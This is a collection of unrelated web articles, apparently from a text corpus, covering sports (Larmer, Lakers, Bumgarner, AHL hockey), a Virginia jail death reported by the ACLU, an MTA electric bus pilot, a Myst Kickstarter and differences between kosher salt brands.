Gainey said rank and file Liberals, having seen the benefits of opening up the leadership process, are now behind the idea of doing away with exclusive privileges for paid members altogether. She argued that the party has wasted a lot of time and energy renewing memberships every year and going through the cumbersome riding-by-riding process of electing delegates to attend party conventions, which are never filled to capacity. "Ultimately, I believe a convention is something that should be open to anyone who's interested as a Liberal who wants to participate," she said. "The exercise and the resource that we get sucked into doing (for) these delegate selection meetings, for example, is one example of where we're slowing ourselves down and it's not helping us."	{ "pile_set_name": "OpenWebText2" }
When I originally started writing this installment of Blackhawks History 101 I was going to profile the number 28. Then I realized there is only one person worthy of an article who wore number 28 and that is my all time favorite Blackhawk, Steve Larmer. Sorry Mark Bell, Michael Blunden and Martin Lapointe you don’t make the cut for this article. In fact none of you could carry Larmer’s jock strap on your best days. Steve Larmer is a Blackhawks legend and was part of one of the greatest lines ever assembled in the history of the team. Larmer was paired up with Hall of Famer Dennis Savard and Al Secord to form what was dubbed as the “Party Line.” This line was as exciting and talented as any line in the league. They had it all; speed, skill, grit and toughness. This line could do some major damage in today’s NHL. The Hawks had some unbelievable teams in the 1980s, but they were a victim of being in the wrong place at the wrong time. Wayne Gretzky and his dynasty in Edmonton were the only thing that stopped the Hawks from winning at least one Stanley Cup in the 80s. The Blackhawks selected Larmer in the 6th round of the 1980 entry draft. He was awarded the Calder Trophy as the league’s top rookie for the 1982-83 season where he scored 43 goals and added 47 assists. Larmer scored over 40 goals five times in a season including a career high 46 goals in 1984-85. His career low in goals, with the Blackhawks, was in the 1986-87 season where he scored only 28 goals but had 56 assists. Only two players in Blackhawks history have scored more than Larmer’s 406 goals and those two guys have statues outside the United Center. His 517 assists is 5th in team history and 923 points is good for the 4th most ever as a Blackhawk. He had a career points per game average of 1.03 over 891 career regular season games in Chicago. He finished his Blackhawks career as a +182. The most astonishing regular season stat of his career was he never missed a regular season game from his first full year in 82-83 until he was traded after the 1992-93 season, that’s eleven years of being in the lineup every night. Larmer played in 107 playoff games for the Blackhawks and had 111 career postseason points (45 G, 66 A). He carried his point per game career average from the regular season into the post season, when the games matteredthe most. He had a career high 22 points (9 G, 13 A) during the 1986 playoff run and again (7 G, 15 A) in the 1990 post season. He scored 8 goals and added 7 assists during the memorable run to the Stanley Cup Final in the spring of 1992. In November of 1993, the Hawks sent Steve Larmer to the Hartford Whalers who in turn shipped him to the New York Rangers. All we got in return for one of the best Blackhawks of my generation was Eric Weinrich and Patrick Poulin. Larmer still had enough in the tank to help the Rangers win their first Stanley Cup in 54 years that season. He had 60 points (21 G, 39 A) in the regular season and was a major contributor in the playoffs with 16 points (9 G, 7 A). The trade of Steve Larmer was sign of things to come and started the decline of a proud franchise into the dark depths of later years of the Bill Wirtz era. It wasn’t much longer after this that stars like Ed Belfour and Jeremy Roenick were shipped out of town for minimal return and replaced with washed up players collecting one last check before being put out to pasture. I still can’t figure out how Larmer has not been inducted into the Hockey Hall of Fame. Only 75 players in the history of the game have scored more than his 1012 career points. He belongs in his place with the game’s all time greats. What is even a bigger injustice is that the number 28 does not hang from the rafters of the United Center. No one should ever be allowed to wear his number again in Chicago. Steve Larmer was the heart and soul of this organization for 11 years. He gave ever ounce of his being to win for this team. The very least the Blackhawks can do is honor him by raising his number up with the greatest players to ever wear the Indian Head. His name belongs right up there with the likes of Savard, Hull and Mikita. Thank you for reading, be sure to follow me on Twitter @SAMotherPucker	{ "pile_set_name": "OpenWebText2" }
Aqib Talib, Broncos Broncos CB Aqib Talib dishes on celebrating his team's Super Bowl win, his approach to football, Peyton Manning's retirement, Brock Osweiler's departure for the Texans and Denver's QB situation.	{ "pile_set_name": "OpenWebText2" }
SHORT INTRO Hello I'm a certified digital entrepreneur from The Hague, The Netherlands. I hold a Bachelor Degree of Virtual Theater and Games at the HKU in Utrecht. Throughout my 10 years of work experience as a digital marketing specialist, web developer and creative designer, I have developed an effective set of skills while working for different companies. I have a proven trackrecord in boosting conversion and leadgeneration. I love creative thinking and to come up with new innovative ways to help companies succeed in their online business.	{ "pile_set_name": "OpenWebText2" }
SACRAMENTO, Calif. -- The game hadn't even started yet and LeBron James could feel a throbbing headache come on that he could only surmise was from the smoke that had enveloped downtown Sacramento and the haze hovering inside the Golden 1 Center. Smelling smoke in the arena during the team's morning shootaround, James wasn't sure how the conditions from the Camp Fire that originated about 70 miles north of Sacramento would affect the Los Angeles Lakers on Saturday. But the Lakers of late have been a team that appears to be learning how to handle adversity. Or perhaps they're discovering how to better deal with it. With exception to perhaps the ugliest first quarter the Lakers have ever played that led to a hideous loss against the Toronto Raptors last Sunday, the team has won four of its past five games. The Lakers put the brakes on a Sacramento Kings team that had won seven of their past 10 games with an impressive 101-86 victory. And for the first time in the still fresh James-Lakers era, the Lakers reached .500. Perhaps this feels like significant progress since the Lakers (6-6) lost five of their first seven games and the sky felt as if it were on them just a little over a week ago. The Lakers were already expected to have a potentially rocky start, but no one counted on Rajon Rondo and Brandon Ingram drawing multiple-game suspensions for the Houston Rockets brawl just two games into the season or Magic Johnson chiding Luke Walton after only seven games. Walton found himself engulfed in scrutiny over his job security until Johnson came out and said his coach was safe barring something drastic. But after all the turbulence, the Lakers might be approaching 35,000 feet and "cruising altitude." Could things be stabilizing? There will undoubtedly be more drama in the future ahead for the Lakers because it's LeBron and it's L.A. But this win in Sacramento was a definite sign of progress. Look no further than the effort on defense. Just a few days ago, Johnson, the Lakers' president of basketball operations, expressed his displeasure by explaining that part of his meeting with Walton was because "we're last in defense. We got to get better." Entering Saturday, the Lakers had given up 110-plus points in each of their first 11 games, tied for the longest streak in franchise history to begin a season (1961-62). It was the longest streak by any team to start a season since the 1983-84 Nuggets, according to ESPN Stats & Information. But facing an improved Kings team that was No. 1 in pace at 109.0, the Lakers managed to slow down Sacramento at times and shut down the Kings in the half court. According to Second Spectrum, Walton's defense held Sacramento to 24.7 percent shooting in the half court, the best by any team in any regular season or playoff game over the past five seasons. Delayed Lake Show On Tuesday, Oct. 30, Lakers head coach Luke Walton and president Magic Johnson had a meeting to discuss a 2-5 start. Coincidence or not, the Lakers have won four of five games since that meeting, and the defense has led the turnaround. It helps that the Lakers have been the best team in the league in preventing trips to the free throw line since Walton and Johnson's meeting. Lakers (rank) Before Oct. 30 Since Oct. 30 W-L 2-5 (T-20th) 4-1 (T-4th) Off. Eff. 113.0 (7th) 105.8 (18th) Def. Eff. 113.2 (23rd) 103.1 (5th) Opp. FTA rate .292 (21st) .178 (1st) The Lakers had emphasized limiting fast-break points for the past couple of days and the team heard the coaching staff. "Gotta get back in transition, misses and makes, dead balls, everything," James said. "Just gotta get back. De'Aaron Fox is one of the quickest guards that we got in our game, and they're No. 1 in pace right now. So we made a huge emphasis on getting back and putting multiple bodies in front of all of 'em." LeBron James had a game-high 25 points in Sacramento on Saturday night. Andrew D. Bernstein/NBAE/Getty "We stuck to the game plan for 48 minutes," James added. "And we've been doing that of late, and it's been resulting in wins." Several factors have contributed to the Lakers' uptick in play. Their chemistry appears to be forming now that they are 12 games into the season. Sure, the young players like Ingram and Lonzo Ball still look as if they're searching for their comfort zone with the improved roster. And vets like Kentavious Caldwell-Pope and Lance Stephenson are still struggling to adjust to their fluctuating playing time.	{ "pile_set_name": "OpenWebText2" }
On 2-4 September 2016, the public will have the exciting chance to get up close and personal with some of the unique cars that took part in the first ever British Grand Prix in 1926 which was held at Brooklands Motor Circuit. Amidst the beautiful surroundings of Windsor Castle, and in celebration of Her Majesty the Queen’s 90th birthday, the Concours of Elegance will display the most revolutionary British cars that have influenced the long ruling monarch’s life. Vehicle’s ranging from the Land Rover Series I to the McLaren F1 will be on show, as the event looks to celebrate Britain’s pivotal role in the motor industry. While the full list of cars are yet to be announced, a one-off art deco masterpiece, the 1937 Hispano Suiza Dubonnet Xenia, and an Alfa Romeo 8C 2300 Zagato, a car which dominated racing in its day have already been confirmed. Four original Grand Prix cars will feature in the line up, a Delage 155B, Talbot 700, Thomas Special and Halford Special. At the time of racing, drivers of the Delage were forced to make frequent pit-stops to avoid suffering from serious burns to their feet. Concours of Elegance 2016 will also feature a free-to-view area, consisting of more than 800 models from the UK’s best car clubs, including the Ferrari, Aston Martin, Lamborghini, Jaguar and Bentley owners’ clubs. Full details of the event can be found at www.facebook.com/concoursofelegance or www.twitter.com/ConcoursUK.	{ "pile_set_name": "OpenWebText2" }
by Rob Poggenklass, Tony Dunn Legal Fellow At 5:45 a.m. on August 19, jail officials discovered Jamycheal Mitchell’s dead body on the floor of his cell at Hampton Roads Regional Jail. According to his aunt, a registered nurse, Jamycheal’s 6-foot-3 frame was so emaciated that the family could only conclude that he had refused medication and starved himself to death. For years, the ACLU of Virginia has called for reforms to our criminal justice system. But as the conservative economist Milton Friedman once said, “Only a crisis - actual or perceived - produces real change.” The events that led to Jamycheal's death can only be described as evidence of such a crisis. This crisis touches almost all aspects of Virginia’s criminal justice system – from law enforcement, to the jails, to the courts. Jamycheal was a 24-year-old mentally ill African American man who was too disabled to work. Court records show he encountered Virginia’s criminal justice system in 2010, spending four months in jail. Eventually, his charges of petit larceny and trespassing were dismissed because a mental health expert and a court agreed that he was too mentally ill to stand trial. In 2011, court records show he was charged and convicted of petit larceny and sentenced to 90 days in jail, with all of that time suspended. In 2012, he was once again charged with petit larceny and trespassing. He spent about a month in a state mental hospital before being found guilty of the misdemeanors. On April 22, 2015, Jamycheal returned to the Portsmouth City Jail. This time, an officer had charged Jamycheal with trespassing at a 7-11, but released him on the promise that Jamycheal would appear in court. When Jamycheal returned to the store later the same day, an officer arrested him and took him to the city jail. He was accused of stealing a Mountain Dew, a Snickers bar, and a Zebra cake – totaling $5 worth of goods. At an initial hearing two hours after the arrest, a magistrate refused to set any bail for Jamycheal. Later in the day, a judge set his bail at $3,000. But Jamycheal apparently could not pay, as he spent the next four months in Portsmouth jails. (The fact that Jamycheal never paid court fines and costs from his previous convictions suggests he may not have had the money to pay.) In front of the judge, Jamycheal waived his right to an attorney. Roughly three weeks after his arrest, the Portsmouth City Jail transferred Jamycheal to the Hampton Roads Regional Jail, a larger facility in Portsmouth that houses inmates from across Hampton Roads. On May 21, after nearly a month in jail, Jamycheal was declared unfit to stand trial. Judge Morgan Whitlow also ordered that Jamycheal be transferred to Eastern State Hospital in Williamsburg for mental health treatment. At some point, a judge having concluded that Jamycheal was not competent to represent himself in a criminal case, the court appointed the Portsmouth Public Defender’s Office. This is where the facts become less clear. According to the Hampton Roads Regional Jail, the hospital had no vacancy, thus the jail was forced to keep him while he waited for a bed. But according to Jamycheal’s aunt, who called Eastern State, “people there said they didn’t know anything about the request or not having bed availability.” The Virginia Department of Behavioral Health & Developmental Services, which operates Eastern State Hospital, has not commented on Jamycheal’s case, citing federal privacy laws. Regardless of which version is correct, the result was the same – Jamycheal remained in jail instead of at a mental health treatment facility. On July 31, Judge Whitlow reiterated his order to have Jamycheal transferred to Eastern State. His previous order had gone unaddressed for 70 days, and it does not appear that the judge held anyone accountable for failing to comply with his order. Under state law, a court may fine any person who defies a court order up to $250 or put them in jail for up to 10 days. At the time of his death, Jamycheal had spent more than 120 days in jail (at a cost of approximately $77 a day) for stealing $5 worth of candy and soda. Natasha Perry, the master jail officer at Hampton Roads Regional Jail, declared that the death of 24-year-old Jamycheal was due to “natural causes.” Portsmouth police are investigating Jamycheal’s death. Jamycheal’s case illustrates so many of the problems we’ve identified with Virginia’s criminal justice system, they are almost too numerous to count. Nonetheless, we’ll try. Following is a list of some of the problems in the system that contributed to his death in jail. We’ll be talking more about these and other needed reforms in future blogs. Problem #1: a 24-year-old is not expected to die of natural causes, especially in a jail where he is kept under near-constant surveillance. We suspect the master jail officer’s announcement is not the end of this story. An autopsy will determine the actual cause of Jamycheal’s death. Problem #2: a person who is charged with a crime should not languish in jail because he cannot afford to pay bail, especially someone charged, and not yet convicted, of only nonviolent offenses. This is a denial of the protections of the Fourteenth Amendment to the U.S. Constitution. It’s time for the General Assembly to reform our bail system to eliminate the cash bail system that evidence shows does nothing to promote public safety or even to assure that people will show up for trial. It should be eliminated in favor of releasing non-violent offenders with non-financial conditions that are focused on protecting our communities. Problem #3: officials at either the jail or the state hospital (or both) violated a court order to transfer Jamycheal from Hampton Roads Regional Jail to Eastern State Hospital. This demonstrates that the rule of law is not functioning in the Commonwealth. A court order is not a suggestion – it is a directive. Anyone who violates a court order should be held accountable. Nearly three months after Judge Whitlow’s order that Jamycheal be transferred, no one had complied and no one had been sanctioned for non-compliance. Problem #4: sheriffs and jail superintendents are quick to point out that local and regional jails are not mental health facilities. Yet 23.7% of their inmates – nearly one in four – have a mental illness that requires treatment with drugs. This fact alone makes clear that Virginia does not have adequate community-based treatment programs to meet the needs of Virginians with mental health issues. Nor does it have enough drop off centers where law enforcement can take people in crisis for treatment rather than incarceration. Finally, while many in law enforcement are getting crisis intervention training, it is clear that few departments have professional and well-trained crisis intervention teams that can respond effectively when a person in crisis requires intervention. The General Assembly needs to fund the needed level of community-based services that will reduce the dependence on more expensive jails as mental health service providers. This is not an exhaustive list of the problems illustrated by Jamycheal Mitchell’s case. But these are among the most serious. All of them can and must be addressed. Virginia simply cannot wait for yet another crisis before it acts to fix our criminal justice system. Let Jamycheal’s death be the last of its kind.	{ "pile_set_name": "OpenWebText2" }
Bumgarner’s hunger to succeed has paid off Recommended Video: More than anything, Jimmy Messer remembers all the food Madison Bumgarner could consume. Bumgarner and Messer formed an imposing tandem at South Caldwell High in Hudson, N.C. They were the team’s starting pitchers in 2007, when the Spartans steamed to the Class 4-A state championship — a memorable run capped by Bumgarner’s home run to cement the title. They also clicked off the field, becoming good friends. Bumgarner routinely crashed at Messer’s house — and usually put on a show at breakfast, when Messer’s dad cooked. Bumgarner ate his meal, then finished Messer’s meal and Messer’s sister’s meal. Many eggs, oatmeal, protein shakes. Gone, gone, gone. “The dude ate like a horse,” Messer said. “My dad still talks about how much he’d eat every morning. It was an asinine amount of food.” Bumgarner balanced this with another, healthier habit. Nearly every day during baseball season, after throwing in the bullpen or running sprints on flat ground, he and Messer retreated to a rock-strewn, dirt trail above South Caldwell’s football stadium. Madison Bumgarner, who pitched a four-hit shutout, starts to celebrate as teammates leave the dugout to join him after the last out against the Pirates in the NL wild-card game on Wednesday night in Pittsburgh. Madison Bumgarner, who pitched a four-hit shutout, starts to celebrate as teammates leave the dugout to join him after the last out against the Pirates in the NL wild-card game on Wednesday night in Pittsburgh. Photo: Gene J. Puskar / Associated Press Photo: Gene J. Puskar / Associated Press Image 1 of / 15 Caption Close Bumgarner’s hunger to succeed has paid off 1 / 15 Back to Gallery They ran 10 to 15 sprints up the steep hill, covering about 25 yards each time. Another pitcher, Justin Poovey, sometimes joined them. They competed ferociously, savoring the bragging rights awaiting the winner. “We pushed each other so hard in practice, it was ridiculous,” said Messer, who pitched at the University of North Carolina. “I think that’s what made both of us a lot better.” Seven years later, Messer enjoys seeing how accomplished his friend has become. He and others who knew Bumgarner at South Caldwell relish watching him pitch for the Giants, as he will Monday in Game 3 of their Division Series against the Nationals. To hear Bumgarner’s high school coach and teammates tell it, his drive traces to his younger days in rural North Carolina. He’s a big ole country boy who grew up in Granite Falls (population 4,722) and went to high school in neighboring Hudson (population 3,116), about an hour northwest of Charlotte. Jeff Parham, the longtime baseball coach at South Caldwell, couldn’t help but flash back as he watched Bumgarner, now 25, smother the Pirates on Wednesday in the National League wild-card game. Parham saw the scene unfold time after time in high school, with overmatched hitters trudging away in frustration. Parham took to playfully challenging Bumgarner in the late innings, asking him, “Is that all you got?” Bumgarner typically responded, “No, sir!” before returning to the mound and unleashing another howling, 95 mph fastball. “Madison would get stronger as the game went on,” Parham said. “That’s why the Pirates game brought back memories. If you don’t score on him early, you don’t score on him late. I really believe that comes from the way he trained.” If Bumgarner’s toughness and work ethic stretch back to North Carolina, so does his unflappable demeanor on the mound. He played four years on the varsity at South Caldwell, quickly becoming the ace and drawing crowds of professional scouts to the school. Not surprisingly, Bumgarner raised his game when the Spartans reached the playoffs. That’s where he planted the seeds for his October success with the Giants; Bumgarner is 4-2 with a 3.02 ERA in the postseason, including 15 scoreless innings in two World Series starts. “He loved to pitch on the big stage,” Parham said. “He always wanted the ball, no matter the situation. He thrives on that atmosphere.” Parham and some of Bumgarner’s high school teammates also were not surprised when he challenged an angry Yasiel Puig on Sept. 23 at Dodger Stadium. The near-fight reminded Parham of one state playoff game, when the opposing pitcher plunked Bumgarner. He slowly took off his arm guard and glared at the mound. Later, in the dugout, Bumgarner vowed retaliation until Parham warned him not to risk ejection. Bumgarner compromised — he threw a fastball over the pitcher’s head the next time he came to bat, sending a none-too-subtle message. Bumgarner’s subsequent pitch skimmed across the outside corner for strike three, as the hitter nervously leaned away from the plate. “Madison is not going to back down,” Parham said. This included his right to throw inside. Unlike many young pitchers, Bumgarner had the command and confidence to regularly use the inside part of the plate. Brett Parham, Jeff’s nephew and a teammate dating to seventh grade, recalled one game when an opposing batter repeatedly requested timeout during Bumgarner’s windup. Finally, when it happened again, Bumgarner just kept throwing — and the pitch zoomed inside. Even if he hadn’t yet filled out to his current size (6-foot-5, 235 pounds), Bumgarner was intimidating from the start of his high school career. He beat Alexander Central, then the No.1 team in the state, as a freshman (1-0, no less); threw a perfect game as a sophomore; led South Caldwell to the state finals as a junior and then to the title as a senior. Bumgarner pitched Game1 of the finals, a best-of-three series, and Messer handled Game2. Bumgarner was still in the lineup at designated hitter, and the game ended on his two-run, inside-the-park homer to give the Spartans a 10-0 victory (thanks to the 10-run rule). That’s a cool way to end your high school career. Messer, now a strength and conditioning coach in Lexington, Ky., will watch his former teammate in these playoffs, just as he did in 2010 and 2012. Somehow, the sight of Bumgarner standing tall on the mound looks awfully familiar. “You can just tell his mentality hasn’t changed,” Messer said. “He still attacks hitters, just like he always did.” Ron Kroichick is a San Francisco Chronicle staff writer. E-mail: rkroichick@sfchronicle.com Twitter: @ronkroichick Giants vs. Nationals Giants lead series 2-0 Game 1: Giants 3, Washington 2 Game 2: Giants 2, Washington 1 (18) Game 3: 2 p.m. Monday at AT&T Park Game 4: 6 p.m. Tuesday at AT&T Park* Game 5: 2 or 5:30 p.m. Thursday at Washington* *if necessary GAME 3 When: 2 p.m. Monday TV/Radio: MLB Net/680,95.7 Doug Fister 2014: 16-6, 2.41 ERA, 98Ks, 24BBs Postseason: 3-2, 2.98 ERA, 37Ks, 13 BBs Madison Bumgarner 2014: 18-10, 2.98 ERA, 219 Ks, 43 BBs Postseason: 4-2, 3.02 ERA, 42Ks, 10 BBs	{ "pile_set_name": "OpenWebText2" }
The future of New York City Transit buses is electrifying. Or to be exact, electric. The Metropolitan Transportation Authority Board has approved leasing five electric buses, the first half of 10 to be leased this year, for a pilot program testing how these environmentally friendly vehicles will perform on the all-weather streets of New York City. Governor Andrew M. Cuomo announced the pilot as part of Earth Week 2017, which celebrates the state’s commitment and accomplishments to protect the environment. With the launch of these electric buses, “we are taking one more step toward reducing New York’s greenhouse gas emissions, fight climate change and help secure a cleaner greener future for all," he said. The first five buses in the test are coming from Proterra, which will also lease six depot charging stations to be installed at the Grand Avenue Bus Depot in Queens. The electric buses will serve the B39 and B32 routes in Brooklyn. The final five buses in the pilot, which will run for three years, will come from New Flyer pending MTA board approval and review and approval by the Office of the New York State Comptroller later this year. That contract would also include charging stations. The New Flyer buses would operate on the M42 bus route in Manhattan. Renderings of the buses from both vendors are available here. Once complete, the data from the pilot program will be evaluated to see if all-electric buses are suitable for the rigors of daily use in New York’s urban environment and climate, and to determine the range of the buses without the need for a recharge and specifications for future procurements. In preparation for the study, the MTA conducted a review of global best practices for electric buses that included reviewing systems in Europe, Asia, and South America; involvement in industry groups such as the Electric Power Research Institute, the Society of Automotive Engineers and the American Public Transportation Association; visits and consultations with transportation authorities in London, Chicago, Philadelphia, Los Angeles, and Montreal; and testing and inspections of buses from a variety of suppliers. The pilot program does not limit other potential vendors or builders from future procurements. "As part of our mandate to modernize all of the MTA’s operations, we’re constantly looking at new ways to lower our carbon footprint, and minimize impact on our environment. The leasing of the first five electric buses is an important step forward in that overall mission, and builds on the MTA’s already considerable contribution toward making New York the state with the lowest per capita greenhouse gas emissions in the United States," said Ronnie Hakim, Interim Executive Director of the MTA. New York state has the lowest per capita energy consumption and greenhouse gas emissions in the nation thanks, in part, to the MTA public transportation network, which serves two-thirds of the state’s residents. MTA’s transit operations actually reduce greenhouse gas emissions by 17 million metric tons annually, offsetting its production of 2.1 million metric tons of emissions a year during operation of subways, buses and commuter railroads. The MTA is the first transit agency to quantify such emissions on a regional basis, and does so as part of its ongoing mission to measure all of the benefits of public transportation.	{ "pile_set_name": "OpenWebText2" }
Monsters' 6-2 Victory Snaps Senators' Win Streak The AHL’s Cleveland Monsters beat the Belleville Senators 6-2 on Friday night at CAA Arena. With the win, the Monsters are now 12-10-1-1 and are currently in seventh place in the AHL’s North Division standings with 26 points. The Monsters struck first at 7:17 of the opening frame when Stefan Matteau scored with Doyle Somerby and Anton Karlsson earning the assists. Cleveland doubled the lead courtesy of a tally from Nathan Gerbe and helpers from Kevin Stenlund and Adam Clendening at 10:48 to bring the 2-0 score into the first intermission. Belleville scored the lone goal of the second period after Rudolfs Balcers converted on a man-advantage opportunity at 14:02 bringing the score to 2-1 heading into the final frame. Cleveland scored four goals in the third period beginning with Justin Scott’s tally at 3:39 assisted by Jakob Lilja and Dillon Simpson. Simpson scored a power-play goal at 6:48 with Gabriel Carlsson and Lilja picking up the helpers followed by Michael Prapavessis’s first goal of the season assisted by Scott at 7:27. Carlsson also scored his first goal of the season during a power-play opportunity at 9:52 with Lilja and Simpson picking up the assists. The Senators brought the final score to 6-2 after Cole Cassels’ tally with one minute left in the game. Veini Vehvilainen made 17 saves for the win while Belleville’s Filip Gustavsson stopped 20 pucks in the loss. The Monsters meet the Belleville Senators again Saturday night with a 7:00 p.m. puck drop at CAA Arena. Follow the games with full coverage on ALT 99.1, AHLTV and the Monsters Hockey Network. Stay up to date on all Monsters news with the Monsters Mobile App presented by University Hospitals available to download at the Apple Store or Google Play Store. Be sure to follow the Monsters on Twitter @monstershockey, on Facebook at www.facebook.com/monstershockey, and on Instagram @monstershockey. Scoring: 1st 2nd 3rd OT SO Final CLE 2 0 4 - - 6 BEL 0 1 1 - - 2 Shots/Special Teams: Shots PP PK PIM CLE 26 2/6 6/7 14 min / 7 inf BEL 19 1/7 4/6 12 min / 6 inf Goaltenders: Goaltender Outcome Saves GA Record CLE Vehvilainen W 17 2 5-6-0 BEL Gustavsson L 20 6 6-3-1 Cleveland Record: 12-10-1-1, 7th North Division Belleville Record: 13-9-1-0, 5th North Division GAME SHEET – GAME PHOTOS – GAME HIGHLIGHTS* *Game highlights will appear as soon as possible following video processing.	{ "pile_set_name": "OpenWebText2" }
Myst creators seek cash for new game Published duration 18 October 2013 image caption One puzzle in Obduction involves finding out how this abandoned farmhouse was moved to an alien planet The creators of legendary adventure game Myst are seeking cash for a new game via Kickstarter. Cyan Worlds is looking for $1.1m (£679,000) from the crowdfunding site to develop a game called Obduction. The game-maker said its new title would be a spiritual successor to its earlier point-and-click adventure games Myst and Riven. If Cyan reaches its funding target it plans to release PC and Mac versions of Obduction in mid-2015. Hand waving Released in 1993, Myst was a huge hit thanks to its sumptuous look, detailed world-building and intricate puzzles. On its Kickstarter page , Cyan said Obduction would continue with these traditions but update them to take advantage of the power of modern computers. It said the game would use the Unreal 4 game development engine to create a detailed far-flung world that players find themselves upon at the start of the game. Playing Obduction involves exploring the world, solving puzzles and working out why the player has been abducted and taken to the alien planet. The cash being sought was for the most basic version of the game, said Cyan. Cash raised beyond the original total would go towards making the game world bigger and moving the title to other gaming gadgets beyond PCs. Cyan said it was turning to Kickstarter because it allowed the company to connect with fans, meant it had control of development and ensured everyone involved had an intimate link to the project. Nathan Grayson at PC game news website Rock, Paper Shotgun said the "meagre" information provided by Cyan did not give a good idea about how the final game might turn out. He wondered if the game would reach its funding target despite getting pledges of more than $100,000 within a day of being kicked off.	{ "pile_set_name": "OpenWebText2" }
Prized for its purity and flaky texture, kosher salt has been a home-cooking standard for decades. But the two major brands, Diamond Crystal and Morton, are very different products. Your ruined meatballs can attest. Cooking magazine editors are no strangers to the complaints department. Frequently, readers make liberal substitutions or skip over steps in recipes. “I cut half the sugar, replaced the white flour with rye, and only used egg whites. This cake was terrible. VERY DISAPPOINTED.” But when complaints started rolling in for one Bon Appétit magazine recipe, the editors paid attention. The dish in question was on the cover of their January 2013 issue: a fat, brined pork chop dramatically set in a black cast-iron plan—its thick, caramelized crust the tone of chestnut. Foaming butter, browning in swirls with a sprig of singed thyme and few bulbs of golden garlic, surrounded it. You wanted to cook it right away. “We got letters from readers saying, ‘We followed it to the letter and it came out inedibly salty,’” says Carla Lalli Music, Bon Appetit’s food director. “When we hear the same thing from several people, we take that very seriously.” In a double misfortune, this cover recipe was also in the Cooking School issue, which promised to teach readers how to do the basics flawlessly. While many food publications have cut staff in recent years, paring down their recipe development, Bon Appétit puts every recipe through a rigorous process, with multiple tastings and tweakings before it is “cross-tested”—made by a different recipe editor, one who had nothing to do with creating it—to make absolutely sure that it works. The pork chop recipe, like every other recipe, had been put through the wringer. What had happened? If you’ve cooked out of a book, magazine, or newspaper in the past three decades or so, chances are pretty good that many of the recipes you’ve used have called for kosher salt. It’s been an American standard for a good while. The trouble is that the two major kosher salt brands—Diamond Crystal and Morton—perform in wildly different ways. Diamond Crystal was the salt that Bon Appétit used in its test kitchen. After a brief investigation, the editors found out that some of the readers with salty pork chops had used Morton, and others had used regular table salt. Lalli Music swiftly put out a directive to the test kitchen team that from then on, recipes would be cross-tested with Morton salt, and recipes for both brands of kosher salt starting showing up in the magazine’s pages soon after. All salt is the same ingredient: NaCl, or sodium chloride. But a cup of Morton is nearly twice as salty as Diamond Crystal. Its thin crystals, made by pressing salt granules in high-pressurized rollers, are much denser than those of Diamond Crystal, which uses a patented pan-evaporation process, called the Alberger method, that results in pyramidal crystals. While different brands of fine sea salts and table salts generally have around the same weight by volume, kosher salts do not. “And it’s not only the weight,” says Lalli Music. “Morton is a coarser salt. It takes a little longer to dissolve.” So even at the same weight, it actually performs differently. It’s easier to add too much of the slow-dissolving Morton salt because it may not have fully liquefied when you’ve tasted something. That kosher salt is even the standard for recipes is something of an American peculiarity, and like Fahrenheit and inches, we’ve clung to it despite its inconveniences. In the late 1800s, American salt companies started targeting the Jewish community with “koshering salt,” a coarser-grained variety good for removing the blood from meat and thus the kind of salt you would use for “koshering” meat. The name was later shortened to “kosher salt,” something of a misnomer given that it’s defined by its texture, not rabbinical oversight, and it was marketed to the wider public in the 1960s. American chefs soon adopted the stuff, prizing its purity and flaky texture in contrast to other varieties, like table salt, which often has added iodide or anti-caking agents to prevent clumping. “Kosher salt is the restaurant standard for when you’re using your fingers to sprinkle,” says New York Times dining columnist Melissa Clark, the author of many cookbooks, including, most recently, Dinner: Changing the Game. “The large grains fall easily on a piece of meat, and chefs get to know how much their pinch encompasses. So they can season by feel rather than measuring. And it’s cheap.” The restaurant standard was soon adopted by cookbooks, magazines, and newspapers. Clark, like the editors at Bon Appétit, uses Diamond Crystal, as does Samin Nosrat, who just published her first cookbook, the excellent Salt Fat Acid Heat. “I learned to cook at Chez Panisse, and we mostly used Diamond Crystal,” says Nosrat. “At some point, we switched to sea salt and everything became super salty. It took chefs a while to adjust.” Even professionals can get thrown off when the salt is different. “The mind-set one enters with Diamond Crystal is ‘Oh, I can use a lot of this and an extra bit won’t make a difference,’” Nosrat says. “You don’t have that freedom with other salts. I like that freedom.” But for her cooking column in The New York Times, she calls for sea salt. Why? For one recipe, a copy editor at the Times removed the brand name of Diamond Crystal in the line that called for kosher salt. So to avoid angry reader mail, Nosrat switched to sea salt. (She wasn’t aware of Bon Appétit’s incident.) A while back, her friend, Jill Sanpietro, Chowhound’s food editor, tested a recipe for chocolate chip cookies she had tested 20 times, but still got an irate letter from a reader saying the cookies were so salty that she couldn’t serve them. The difference between Diamond Crystal and Morton, of course, was the discrepancy. “That haunted me,” said Nosrat. All salt is the same ingredient: NaCl, or sodium chloride. But a cup of Morton is nearly twice as salty as Diamond Crystal. Kosher salt never quite made it to Europe or Asia, where sea salt is more prevalent. For the publishing of Nosrat’s book in the U.K., her publisher has told her that they’ll have to substitute for Diamond Crystal, which is not widely available there. Cookbook author and baking expert Dorie Greenspan, who started out using the salt she grew up with, Diamond Crystal, earlier in her career, now uses fine sea salt and fleur de sel. She made the change when she started working with French chefs and wanted to better translate their cooking into recipes, and stuck with it because she came to prefer the flavor—and consistency across brands. American bakers mostly stay away from kosher salt, too. “Fine sea salt is better for baking and dissolves really quickly in liquids,” says Clark. “And it’s more consistent for measuring.” That’s why bakers, like food scientist Shirley Corriher, author of Bakewise, and Rose Beranbaum Levy, author of The Cake Bible, call for sea salt or fine salt. The editors at Bon Appétit had known for some time that there were differences between the two brands. They published an article in 2008 on the discrepancies. The New York Times also came out with its own article, “Warning: Measure Your Salt,” in 2010. And other cooking sites, like Food52 and Smitten Kitchen, have published their own missives. Serious Eats has taken the step of specifically calling for Diamond Crystal in its recipes for which measuring salt makes a difference. Yet for all that has been written on the two kosher salts, the information hasn’t filtered down to the cooking public. And in many recipes, it doesn’t affect things too much, so readers can blissfully use their Morton salt in recipes tested with Diamond Crystal without anything going wrong. “Sometimes we’ll cross-test a recipe, and we’ll find it’s negligible,” says Lalli Music. Some recipes suggest salting to taste, and in others the amount is small enough that the final product isn’t noticeably different. But in cases where you can’t season to taste, like baked goods, sausages, cured fish, meatballs, pickles, and brined meats, and there is a noticeable difference, Bon Appétit took the extraordinary step of publishing two salt measurements, like a zucchini scone recipe this year that called for either one tablespoon of Diamond Crystal or one and a half teaspoons of Morton. Right now, only Serious Eats and Bon Appétit specify the kosher salt brand, and only Bon Appétit offers two measurements. But that may change. All it takes is a few angry reader e-mails to scare an editor straight.	{ "pile_set_name": "OpenWebText2" }
